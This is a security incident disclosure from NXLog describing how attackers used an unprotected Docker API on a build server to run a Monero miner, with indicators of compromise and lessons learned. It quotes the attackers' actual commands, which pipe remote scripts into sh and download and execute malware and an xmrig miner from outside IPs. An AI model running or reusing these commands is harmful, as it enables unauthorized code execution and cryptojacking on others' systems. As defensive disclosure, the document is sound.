On the 18th of March, we noticed some unusual activity on one of our servers
we use for build automation. Further investigation revealed that an outside
party had deployed a Monero miner. The server was immediately taken offline.
There was no customer data stored on the server and we have since replaced all
our private keys and secrets that might have been potentially compromised.
After careful and thorough investigation of the incident, we decided to publish
this announcement and share this news with our customers and users, hoping that
it might serve as a lesson for others.
At NXLog, we take security seriously. This is our first security incident since
the company was founded. Let’s look at some of the details of this incident.
On March 18th, our monitoring system alerted us about some atypical,
high CPU usage on one of our servers. The server was used to run automated
tests on the software we build, as well as build automation. We rely on Docker
containers for running these workloads, however, the Docker containers
responsible for the resource utilization were not familiar to us:
Upon closer inspection, it turned out that these Docker containers had been
started in order to run a Monero (XMR) mining tool. Monero is a privacy-focused
cryptocurrency that provides anonymity and makes it difficult to trace the
transactions. Because of this anonymity, Monero has became popular on the
Darknet for illicit activities like this.
When this became evident, we immediately took the server offline and copied the
data for forensics to analyze how this happened.
Since we are a logging company, the first thing we looked at was the logs that
were collected by the Docker containers.
The containers were started to execute the following:
"sh -c 'wget -qO - http://18.104.22.168:80/wp-content/themes/twentyseventeen/d | sh; tail -f /dev/null'"
The file named
d is fetched from a server that is most likely a compromised
WordPress site hosted on Google Cloud. This is a simple shell script that is
responsible for fetching the
dk86 malware from yet another WordPress site
hosted by DigitalOcean:
wget -O dk86 http://22.214.171.124:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &
wget -O dk32 http://126.96.36.199:80/wp-content/themes/twentysixteen/dk32; chmod +x dk32; ./dk32 &
The malware is fetched and executed as both 64-bit and 32-bit versions to ensure
that at least one of them would run, depending on the hardware. Here are their
sha1: fd91820560d2e0aa7079d7c7756e343e66f47056 dk32
sha1: 296273fd9965bf41d8d3970c766158c7f24fc618 dk86
md5: 550f9f929bcb99aeaa3821779d8dea62 dk32
md5: d9f82dbf8733f15f97fb352467c9ab21 dk86
Here are the set of commands responsible for executing the payload running the
sh -c 'apk update; apt-get update ; yum clean all ; apk add bash wget ; apt-get install -y bash wget ; yum install -y bash wget ; wget http://188.8.131.52/cleanfda/trace || curl http://184.108.40.206/cleanfda/trace > trace ; chmod 777 trace ; ./trace --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.doc -k --coin monerosh -c 'apk update; apt-get update ; yum clean all ; apk add bash wget ; apt-get install -y bash wget ; yum install -y bash wget ; wget http://220.127.116.11/cleanfda/trace || curl http://18.104.22.168/cleanfda/trace > trace ; chmod 777 trace ; ./trace --donate-level 1 --keepalive --no-color --cpu-priority 5 -o xmr.f2pool.com:13531 -u 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4.doc -k --coin monero
trace was fetched from a Chinese server hosted on Alibaba Cloud.
This is actually a statically-linked binary of the
xmrig Monero miner built on Alpine Linux.
The file has been previously reported, e.g., by
with the following checksums:
sha1: ff1e87a24462391d45a0fa886eec2b33cc005480 trace
md5: 859fbbedefc95a90d243a0a9b92d1ae9 trace
Further investigatation into how it was even possible for the malware to be
deployed on our server revealed the root cause. It was an error in our iptables
Mar 19 09:48:40 server netfilter-persistent: iptables-restore v1.8.2 (nf_tables): host/network `<redacted>' not found
Mar 19 09:48:40 server netfilter-persistent: Error occurred at line: 41
Mar 19 09:48:40 server netfilter-persistent: Try `iptables-restore -h' or 'iptables-restore --help' for more information.
Due to a DNS resolution failure for a name we used in a rule, the ports were
left unprotected after the server was rebooted. Unfortunately, this left the
Docker daemon port exposed that was configured to listen on a TCP
socket, which by default, requires neither authentication nor encryption. This
was yet another oversight on our part since we should not have allowed a Docker
API to be listening on an usecured port, even on the local network.
On top of this, the Docker daemon and libvirt both manage iptables rules
directly and insert
FORWARD rules with a higher priority over a custom chain
making it even more difficult to protect with the packet filter.
PaloAlto Networks has published a nice article
about how unsecured Docker deamons are exploited in the wild.
Since the Docker daemon also allows access to the host which could have made it
possible for a targeted attack to penetrate further, we have decided to replace
and revoke all secrets such as API keys, signing keys and certificates, ssh
keys, vpn keys, and auth tokens.
There was no customer data stored on this server or other servers where such
data could have been accessed.
Since we were well prepared for an incident, we managed to rebuild the server
from scratch relatively quickly. Within two working days, we were able to resume
all operations. The downtime only partially affected our QA and development
Based on our investigation and analysis which have now been completed, this
incident was a result of a botnet attack with the purpose of deploying
crypto mining software to generate profit for the attackers. It was not a
targeted attack to access company data, source code, or other confidential
This incident presented a great opportunity for us to revisit our DevOps
practices and place even more emphasis on security.
In a fast paced IT world where our DevOps team tries to take advantage of the
latest technologies, including containers, orchestration and automation
tools, monitoring systems and more, it has become increasingly difficult to
ensure that everything is secure and immune to human error.
While increasing our perimeter security is an obvious choice, possible insider
threats should be seriously considered, especially with a remote-only workforce
that cannot be easily locked behind a corporate firewall.
Migrating towards the
zero trust security model,
and improving secret management would also allow us to better mitigate such
an attack. While this has been the first, we cannot be sure this was the last
incident to occur no matter how hard we try to prevent these from happening in
the future. With proper mitigation techniques, and with the ability to recover
quickly, we need to ensure that our organization can remain resilient.
Founder and CEO of NXLog